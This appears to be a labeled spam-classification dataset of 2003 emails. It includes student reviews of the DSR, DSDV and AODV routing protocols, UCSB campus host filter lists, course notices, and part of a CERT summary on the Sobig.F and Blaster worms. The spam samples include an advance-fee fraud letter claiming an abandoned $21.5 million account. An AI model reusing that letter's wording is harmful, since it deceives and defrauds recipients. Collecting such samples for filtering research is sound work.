source node receives the Route Reply, it starts sending data via the route found. Nodes maintain a route cache to keep track of active routes. The cache is helpful in enhancing the performance of the protocol. If there is a link failure along an established route, the host that detects it propagates a Route Error packet back to the source node (of the route). The intermediate nodes (in the path) and the source node delete their cache entries and the source node reinitiates route discovery (if needed). The authors also assume that the network works in a promiscous mode. This means that the network layer of a node can view packets not addressed to them, without filtering at the lower layer. This mode is helpful in maintaining more route entries in the route cache and detecting shorter routes on the fly (the second optimization has however not been implemented by the authors). The authors have suggested some more methods in optimizing the performance of the protocol. Comments: The protocol works well in a small network and saves useful bandwidth and power by avoiding periodic exchanges. But it has nothing new to offer except that it has been implemented on a wireless medium and some optimization schemes have been employed. The simulations are not extensive. The protocol is tested only with varying mobility. The protocol could have been tested with varying network load. The protocol will suffer from huge route discovery delays if the network is large. The results also do not say anything about the performance of the protocol with respect to the number of calls dropped and the average end-to-end delays incurred. There is one optimization called ""the expanding ring"" suggested by the authors which has not been implemented. This method will increase the protocol overhead. The scheme could have rather not been mentioned by the authors! And there are some optimization methods which have not been implemented and just suggested. I hope they have been tested in subsequent works of the authors. Many of the optimizations assume the existence of promiscous mode. This is a threat to the security of the systems and of the data being sent. DSDV This paper presents a distance vector method for ad hoc routing. This paper has implemented an approach which is a very common routing method in wired networks. In this regard, the paper cannot boast of a novel approach. Operation: According to the protocol, routing is effected by the maintenance of routing tables (vectors) at each node. Each table entry denotes the preferred next hop node to each of the nodes in the network along with a metric (hop count in this case) that denotes the (expected) cost of the route. These tables are maintained through periodic advertisements (or through trigerred updates) by each nodes to its neighbours of its recent changes in the routing table (incremental) or of the entire table (full dump). Loops are avoided by using sequence numbers in each of the entries. Loops are potentially formed when there is a change in the next hop. A routing table entry is updated by a node only if it receives an entry for the same destination node that has a sequence number greater than the current sequence number or, if the received entry has a lower metric than that present in the current entry and the same sequence number as the current entry. Looping is avoided in the first case because of the fact that the node can propagate sequence numbers to its neighbours only after receiving it from the current next hop. Thus, the sequence number in the node's route entry is always less than or equal to the next hop's route entry. Looping is avoided in the second case too since in the presence of static or decreasing link weights, distance vector algorithms always maintain loop-free paths. All sequence numbers are generated by the destination node except when there is a link breakage (an infinity metric is advertised to the neighbouring nodes by those which have detected the link failure). Whenever a node wishes to send data to another node, it simply refers to the routing entry corresponding to the latter and sends the data to the preferred next hop. The paper has an illustration of the working of the protocol. The paper also suggests methods to counter routing fluctuations during high mobility and in large networks. Accordingly two routing tables are maintained. Newly altered routes are not advertised immediately until it is likely that they are stable. This is done through calculation of an average settling time. Comments: The protocol, as said before, has the overhead of maintaining the routing information of the entire network through periodic broadcasts leading to a wastage of bandwidth and power. Each node may not have the necessity to maintain the routing information of all the nodes in the network. Sometimes a node may not be involved in any data exchange at all but still is burdened to maintain its routing table. The paper does not present any simulation work and hence the effectiveness of the network cannot be determined. The paper suggests a mechanism for effecting convergence which is not optimal. This approach has not been clearly presented. AODV AODV is an on-demand routing protocol that also necessitates nodes to maintain active route information. But unlinke DSDV, the protocol does not require elaborate periodic advertisements. Instead nodes dynamically maintain route information. Local connectivity is however maintained through the exchange of Hello messages between neighbours. Hence we see that AODV is a blend of the distance vector and on-demand routing concepts. Operation: Path discovery is initiated by the source node when it needs to send data to another node. A RREQ packet is broadcast by the sender node. The RREQ packet contains two sequence numbers viz., the source sequence number and the destination sequence numbers. While the former is used to maintain the level of freshness of the reverse route to the source, the latter specifies how fresh a route to the destination should be before it can be accepted by the source. When RREQ propagates through intermediate nodes, the reverse path is set up (similar to the route record in DSR) and each node keeps track of it. A RREQ is rebroadcast by an intermediate node only if it has not received a similar RREQ (detected by the pair) before and the destination sequence number in the RREQ is greater than that of the route entry maintained by that node. If the destination sequence number of the RREQ is less than or equal to that of the route entry, then the destination node unicasts a RREP back through the reverse route (assuming the existence of bidirectional links). If the RREQ reaches the destination, it sends back a RREP to the source node through the reverse path. As the RREP propagates back, each node sets up a forward pointer to the next hop. The RREP can be used by each node in the path to update its routing information. The first RREP that a node receives for a particular source node is always propagated. If it receives further RREPs, it updates its routing information and propagates the RREP only if it contains a greater destination sequence number than the previous RREP or the same destination sequence number with a smaller hop count. It drops all other RREPs it receives. The source node starts data transmission as soon as it receives the first RREP and can later update its routing information if it subsequently receives RREPs with better routes. Each route table entry consists of the destination node, the next hop, the metric, destination sequence number and active neighbours of this route. Thus the route table contains only active routes (decided by a timeout for each entry). The destination sequence number (similar to the one used with DSDV) is useful in preventing routing loops even in extreme conditions. In fact a proof has been presented in the paper that is much similar to the one discussed above in DSDV. When there is a link failure, the node that detects it will send an unsolicited RREP back through the reverse route for the nodes in the route to update their routing information and for the source node to reinitiate path discovery (if necessary). The source node increments the destination sequence number (and then initiates the path discovery) so as to build a new viable route. Local connectivity information is maintained through periodic exchange of Hello messages between neighbours. These Hello messages are helpful in detecting link failures and in determining whether the links are bidirectional. Comments: The protocol as mentioned before is a hybrid between distance vector and on-demand routing protocols. The simulation results presented here are more elaborate than those presented in the previous two papers. They test the quickness and the accuracy of the routing protocol. But the reasons for choosing certain values for traffic parameters have not been mentioned. However the simulations do determine (near) optimal values for two timeouts used in the protocol. Since AODV has been proposed after the DSR and the DSDV protocols, it would have been wise to compare it with the two protocols. The simulations show that as the network size increases, the session drop rate increases drastically (about 4% with 100 nodes to about 33% for 100 nodes!) questioning the scalability of the protocol with respect to network size. According to the paper, an intermediate node always propagates the first RREP for a given source node towards that source. The node could have seen a better route between its sending of the RREQ packet (for the RREP that it had just received) and its receiving of the RREP packet. This point has either been overlooked or has not been mentioned in the paper.",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id MAA09436 for ; Tue, 2 Sep 2003 12:07:51 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id MAA24479 for lap@neutrino.physics.ucsb.edu; Tue, 2 Sep 2003 12:07:50 -0700 Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id MAA24476 for ; Tue, 2 Sep 2003 12:07:50 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19uGVK-0008dX-BE; Tue, 02 Sep 2003 12:07:50 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19uGVH-0008dP-EX; Tue, 02 Sep 2003 12:07:47 -0700 Received: from modulus.oit.ucsb.edu ([128.111.12.24]) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 19uGVH-0008dL-9i; Tue, 02 Sep 2003 12:07:47 -0700 Date: Tue, 02 Sep 2003 12:07:46 -0700 From: Andrew D. Clark To: csf@ucsb.edu Message-ID: <25120000.1062529666@modulus.oit.ucsb.edu> X-Mailer: Mulberry/3.1.0b6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Warning: 128.111.24.40 is listed at spews.relays.osirusoft.com Cc: netman@ucsb.edu Subject: [CSF] filters du jour X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Warning: 127.0.0.1 is listed at spews.relays.osirusoft.com X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19uGVK-0008dX-BE*bxm4H/H/GHE* I'm going to start sorting this by DNS where I have it, by IP address otherwise, just for clarity's sake. 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If not..... A couple of quick announcements: - I have posted the lecture notes and HW #1 on the web page - Please check the schedule page - the reading assigment has been updated. I want you to read P&H chapter 2 for thursday and the first part of chapter 3 for next Tuesday. See you all on Tuesday. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 Vijay Kumar ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 12:27:09 -0400",615 PAPER 1,"DSDV --------------- The Destination Sequenced Distace-Vector (DSDV) uses the distance-vector routing(classic Bellman-Ford) to maintain connectivity information. DSDV improves on the class Bellman-Ford routing algorithm by eliminating loops. Every node is required to maintain route table entry for every destination, which consists of a sequence number, destination address, next hop(mobilie station) and number of hops to that destination(metric). Consistency of the route table is maintained by frequent broadcast and freshness of sequence numbers. Mobile stations are required to advertise to the network any signicant changes in their neighborhood. Fluctuations in the network are reduced by allowing for a settling time before route changes are announced, unless the change is as significant as the removal of a node. A node updates its route table entry only under the following circumstances o) The new entry has a newer sequence number. o) The new entry has a better metric and the sequence numbers are same. This ensures that the network is loop free and network bandwidth is conserved. pros:- o) New mobile stations are immediately discovered. cons:- o) The DSDV algorithm is not well suited for large network(large number of mobile stations) with frequent movement of mobile stations. The space required to maintain the route table entry is O(n^2) as each node has to maintain all possible routes to a destination and only choose the minimum in that set for routing. Also frequent movement means frequent updates and consumption of valuable bandwidth. This also means higher power consumption both of which are at premium in a mobile network. DSR --------------- The Dynamic Source Routing(DSR) improves on the DSDV by discovering routes to destination only on demand. This reduces the memory and bandwidth requirement which are at premium in a mobile station. Whenever a mobile station wants to communicate with another one it initiates a Route Discovery by sending a route request packet. Every route request packet contains . Each mobile station forwards the packet to the next neighbor if the packet was not meant for itself and adds itself to the route record of the packet. This also constructs the reverse path to the source. The DSR applies several optimizations to the basic algorithm o) Route cache and learning:- Mobile stations can learn about paths to the intermediate participating nodes while the packet completes the cirutous path from host to destination and back. Cached routes can reduce the time of route discovery. o) Promiscusous learning:- - Other mobile hosts not directly participating in the route discovery can also learn about the path since the medium of transmission is broadcast. - Promiscous listening can also help nodes discover shorter routes whenever they appear in the network. - Route errors discovered by one node can help other nodes remove unreacheable nodes from their cache entries. Loops are avoided by avoiding retransmits of route discovery packets if the id of the node is already present in route discvoery path contained in the packet. Pros:- o) Routes are discovered dynamically which saves network bandwidth, power, memory. o) Promiscuous mode helps reduce route discoveries. Cons:- o) New mobile stations are not immediately discovered. This can though be overcome by sending a Route discovery to a mobile host that is known not to exist. o) May not work well if the route paths are long as the route discovery packet has to accomodate all the nodes participating in the route discovery. AODV ---------------- Ad-hoc On-Demand Distance Vector Routing ( AODV ) combines the DSDV and DSR to obtain better bandwidht usage, local connectivity and memory usage of mobile network. AODV uses dynamic route discovery just like in DSR, although local connectivity information is readily available since nodes are required to send hello messages to one another. Whenever a node launches a route discvoery to an unknown host using Route Request packets( RREQ) the intermediate hosts retransmit a Route Reply Packet(RREP) back to the source. This helps setup forward and return paths dynamically. Also the packet sizes are significantly less when compared to DSR as the packets need not store the entire path in its header. The route tables store source sequence numbers, destinations sequence numbers and a route expiration timer. The expiration timer helps purge reverse paths whenever the nodes do not lie on the path from source to destination. The sequence numbers help maintain a loop free path. Pros:- o) Uses the least resources of the 3 algorithms - reduced packet size - reduced memory and network activity using 'route request expiration timer' o) local connectivity information readily available and link breakages can be immediately broadcast to interested nodes. Cons:- o) Assumes symmetric links",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id QAA15905 for ; Tue, 2 Sep 2003 16:22:17 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id QAA26885 for lap@neutrino.physics.ucsb.edu; Tue, 2 Sep 2003 16:22:17 -0700 Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id QAA26882 for ; Tue, 2 Sep 2003 16:22:16 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19uKTY-000BOA-1k; Tue, 02 Sep 2003 16:22:16 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19uKTV-000BO2-En; Tue, 02 Sep 2003 16:22:13 -0700 Received: from modulus.oit.ucsb.edu ([128.111.12.24]) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 19uKTV-000BNy-5W; Tue, 02 Sep 2003 16:22:13 -0700 Date: Tue, 02 Sep 2003 16:22:12 -0700 From: Andrew D. Clark To: csf@ucsb.edu Message-ID: <62820000.1062544932@modulus.oit.ucsb.edu> X-Mailer: Mulberry/3.1.0b6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Warning: 128.111.24.40 is listed at spews.relays.osirusoft.com Cc: netman@ucsb.edu Subject: [CSF] filters du jour (PM edition) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Warning: 127.0.0.1 is listed at spews.relays.osirusoft.com X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19uKTY-000BOA-1k*VVBuUV1n3.2* Make my day by fixing one host in your area and getting the count below 50. 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Life is like a good book, the more you get into it the more it makes sense Dishonest money dwindles away, but he who gathers money little by little makes it grow ",1,0 ,,,,"(8.9.1/8.9.1) with ESMTP id TAA04993 for ; Tue, 2 Sep 2003 19:02:23 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id TAA28344 for lap@neutrino.physics.ucsb.edu; Tue, 2 Sep 2003 19:02:23 -0700 Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id TAA28341 for ; Tue, 2 Sep 2003 19:02:23 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19uMyU-000CS1-N9; Tue, 02 Sep 2003 19:02:22 -0700 Received: from oit.ucsb.edu ([128.111.12.3]) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19uMyQ-000CRp-QW; Tue, 02 Sep 2003 19:02:18 -0700 Received: from zembu.oit.ucsb.edu ([128.111.12.44] helo=zembu) by oit.ucsb.edu with smtp id 19uMyF-0002hF-IE; Tue, 02 Sep 2003 19:02:07 -0700 Message-ID: <008501c371bf$72e5f070$2c0c6f80@oit.ucsb.edu> From: Igor Shabaltas To: , Date: Tue, 2 Sep 2003 19:02:37 -0700 Organization: UCSB MIME-Version: 1.0 Content-Type: text/plain; charset=""koi8-r"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 3.5 (+++) X-Warning: 128.111.12.3 is listed at spews.relays.osirusoft.com Cc: noc@ucsb.edu Subject: [CSF] Filtered hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Warning: 127.0.0.1 is listed at spews.relays.osirusoft.com X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19uMyU-000CS1-N9*twAYEphwEqM* Back to 50 entries... #Last update: Tue Sep 2 18:49:27 PDT 2003 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.15.61 skinless.iquest.ucsb.edu 128.111.23.54 wiley-e-coyote.deepspace.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.158 ingrmob1.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.58.60 olympic.ece.ucsb.edu 128.111.60.70 128.111.74.107 enmt-2122.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.50 badger.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.151 ghoti.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.111.160 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.130.25 host130-25.lsdepts.ucsb.edu 128.111.138.160 128.111.145.183 citrix.ia.ucsb.edu 128.111.158.45 128.111.165.44 host165-44.lsdepts.ucsb.edu 128.111.180.252 SM180252.resnet.ucsb.edu 128.111.180.253 SM180253.resnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 -- Igor Shabaltas Campus Network Programmer University of California, Santa Barbara (805) 893-7939 _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA24880 for ; Wed, 3 Sep 2003 15:35:49 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id PAA05798 for lap@neutrino.physics.ucsb.edu; Wed, 3 Sep 2003 15:35:49 -0700 Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA05795 for ; Wed, 3 Sep 2003 15:35:49 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19ugE9-000LrN-8K; Wed, 03 Sep 2003 15:35:49 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19ugE6-000LrC-Jx; Wed, 03 Sep 2003 15:35:46 -0700 Received: from modulus.oit.ucsb.edu ([128.111.12.24]) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 19ugE6-000Lr8-FY; Wed, 03 Sep 2003 15:35:46 -0700 Date: Wed, 03 Sep 2003 15:35:46 -0700 From: Andrew D. Clark To: netman@ucsb.edu Message-ID: <146500000.1062628546@modulus.oit.ucsb.edu> X-Mailer: Mulberry/3.1.0b6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: csf@ucsb.edu Subject: [CSF] filter list (afternoon edition) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19ugE9-000LrN-8K*1N//Q2MUmKs* It's under 50 (though not by much)! Wed Sep 3 15:34:59 PDT 2003 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.15.61 skinless.iquest.ucsb.edu 128.111.20.52 dhcp20-52.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.58.60 olympic.ece.ucsb.edu 128.111.60.70 128.111.74.107 enmt-2122.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.78 santa.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.50 badger.chemengr.ucsb.edu 128.111.82.73 johan.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.151 ghoti.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.165.44 host165-44.lsdepts.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.220.92 dhcp92.nceas.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 -- Andrew Clark Campus Network Programmer Office of Information Technology University of California, Santa Barbara andrew.clark@ucsb.edu (805) 893-5311 _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Gem Naivar ,cs352h@lists.cc.utexas.edu,"Thu, 04 Sep 2003 09:23:27 -0500",optional handout,"I will be going right now to make copies of the optional handout on transistor circuits and logic design. Please stop by my office, ACES 3.422, later today if you would like a copy. Thanks, Gem ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id MAA02642 for ; Thu, 4 Sep 2003 12:52:54 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id MAA16988 for lap@neutrino.physics.ucsb.edu; Thu, 4 Sep 2003 12:52:54 -0700 Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id MAA16985 for ; Thu, 4 Sep 2003 12:52:54 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19v0A1-0002Ka-0l; Thu, 04 Sep 2003 12:52:53 -0700 Received: from oit.ucsb.edu ([128.111.12.3]) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19v09z-0002KR-6n; Thu, 04 Sep 2003 12:52:51 -0700 Received: from zembu.oit.ucsb.edu ([128.111.12.44] helo=zembu) by oit.ucsb.edu with smtp id 19v09o-000ELS-Ei; Thu, 04 Sep 2003 12:52:40 -0700 Message-ID: <022801c3731e$2cba3600$2c0c6f80@oit.ucsb.edu> From: Igor Shabaltas To: , Date: Thu, 4 Sep 2003 12:53:13 -0700 Organization: UCSB MIME-Version: 1.0 Content-Type: text/plain; charset=""koi8-r"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 3.5 (+++) Subject: [CSF] Filter list X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19v0A1-0002Ka-0l*STNhGKtNryY* #Last update: Thu Sep 4 12:40:00 PDT 2003 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.39.175 SM39175.resnet.ucsb.edu 128.111.58.60 olympic.ece.ucsb.edu 128.111.60.70 128.111.74.107 enmt-2122.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.78 santa.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.50 badger.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.151 ghoti.chemengr.ucsb.edu 128.111.83.216 amiga.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.247 maria.chemengr.ucsb.edu 128.111.87.13 128.111.103.21 otter.opl.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.165.44 host165-44.lsdepts.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.220.92 dhcp92.nceas.ucsb.edu 128.111.220.177 maguro.nceas.ucsb.edu 128.111.221.19 odissi.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 51 entries -- Igor Shabaltas Campus Network Programmer University of California, Santa Barbara (805) 893-7939 _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Mr Coy Arnina ,byron@cs.utexas.edu,"Thu, 04 Sep 2003 19:18:46 -0800",Ephedra is back and legal,"try farfetched a mccann ! novak be dairylea try vehement ",1,0 sixteen_sixty@juno.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Fri, 05 Sep 2003 16:24:24 +0000",CONFIDENTIAL!!," Femi Ajayi, Union Bank of Nigeria Lagos-Nigeria. ATTN: Mr.Christopher Phillips Dear Sir, STRICTLY CONFIDENTIAL I am Femi Ajayi, The manager, Bills and Exchange at the Foreign Remittance Department of the Union Bank of Nigeria Plc. I am writing this letter to ask for your support and cooperation to carry out this business opportunity in my department. We discovered an abandoned sum of $21,500,000.00 (Twenty-one million Five Hundred Thousand United States Dollars) in an account that belongs to one of our foreign customers who died along with his entire family of a wife and two children in November 1997 in a Plane crash. Since we heard of his death, we have been expecting his next-of-kin to come over and put claims for his money as the heir, because we cannot release the funds from his account unless someone applies for Claim as the next-of-kin to the deceased as indicated in our banking Guidelines. Unfortunately, neither their family members nor distant relatives have Ever appeared to claim the said fundS. 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The summary includes pointers to sources of information for dealing with the problems. Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in June 2003 (CS-2003-02), we have seen a large volume of reports related to a mass mailing worm, referred to as W32/Sobig.F, and have issued advisories on the exploitation of vulnerabilities in Microsoft's RPC implementation. The culmination of the RPC vulnerabilities resulted in the W32/Blaster Worm, which affected many Microsoft users. We have also reported on a vulnerability in the Cisco IOS interface as well as on multiple vulnerabilities in Microsoft Windows libraries and Internet Explorer. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. W32/Sobig.F Worm On August 18, the CERT/CC began receiving a large volume of reports of a mass mailing worm, referred to as W32/Sobig.F, spreading on the Internet. The W32/Sobig.F worm is an e-mail borne malicious program with a specially crafted attachment that has a .pif extension. The W32/Sobig.F worm requires a user to execute the attachment either manually or by using an e-mail client that will open the attachment automatically. The CERT/CC has released an Incident Note on the W32/Sobig.F worm. CERT Incident Note IN-2003-03 W32/Sobig.F Worm http://www.cert.org/incident_notes/IN-2003-03.html 2. Exploitation of Vulnerabilities in Microsoft RPC Interface In late July, the CERT/CC began receiving reports of widespread scanning and exploitation of two recently discovered vulnerabilities in Microsoft Remote Procedure Call (RPC) Interface. The CERT/CC released an advisory and a Vulnerability Note which described these vulnerabilities approximately two weeks prior to the reports of exploitation. CERT Advisory CA-2003-19 Exploitation of Vulnerabilities in Microsoft RPC Interface http://www.cert.org/advisories/CA-2003-19.html CERT Advisory CA-2003-16 Buffer Overflow in Microsoft RPC http://www.cert.org/advisories/CA-2003-16.html Vulnerability Note VU#568148 Microsoft Windows RPC vulnerable to buffer overflow http://www.kb.cert.org/vuls/id/568148 a. W32/Blaster Worm Shortly after we released multiple documents describing Microsoft RPC vulnerabilities, we began receiving reports of widespread activity related to a new piece of malicious code known as W32/Blaster. The W32/Blaster worm exploits a vulnerability in the Microsoft DCOM RPC interface. On August 